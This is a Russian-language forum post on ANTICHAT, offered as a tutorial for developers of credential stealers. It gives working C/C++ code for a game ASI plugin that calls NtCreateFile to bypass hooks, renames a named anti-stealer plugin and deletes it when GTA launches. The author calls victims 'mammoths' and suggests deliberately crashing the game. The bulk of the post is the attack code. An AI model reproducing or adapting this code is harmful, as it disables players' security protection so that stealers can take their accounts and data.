HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.10.2021, 12:06
.KARELLI
Новичок
Регистрация: 13.06.2021
Сообщений: 1
С нами: 2588814

Репутация: 3
По умолчанию

Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров

В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного

Для данного способа нам понадобится:

1. NtCreateFile

2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся



Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает

1633590029100.png.KARELLI · 7 Окт 2021 в 11:06' data-fancybox="lb-post-858219" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117076/" style="cursor: pointer;" title="1633590029100.png">


Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь

C:





Код:
NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;


Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:





Код:
UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;


Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:





Код:
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;


Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру



Далее видим что от антистиллера осталось лишь лог, вот и все



Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...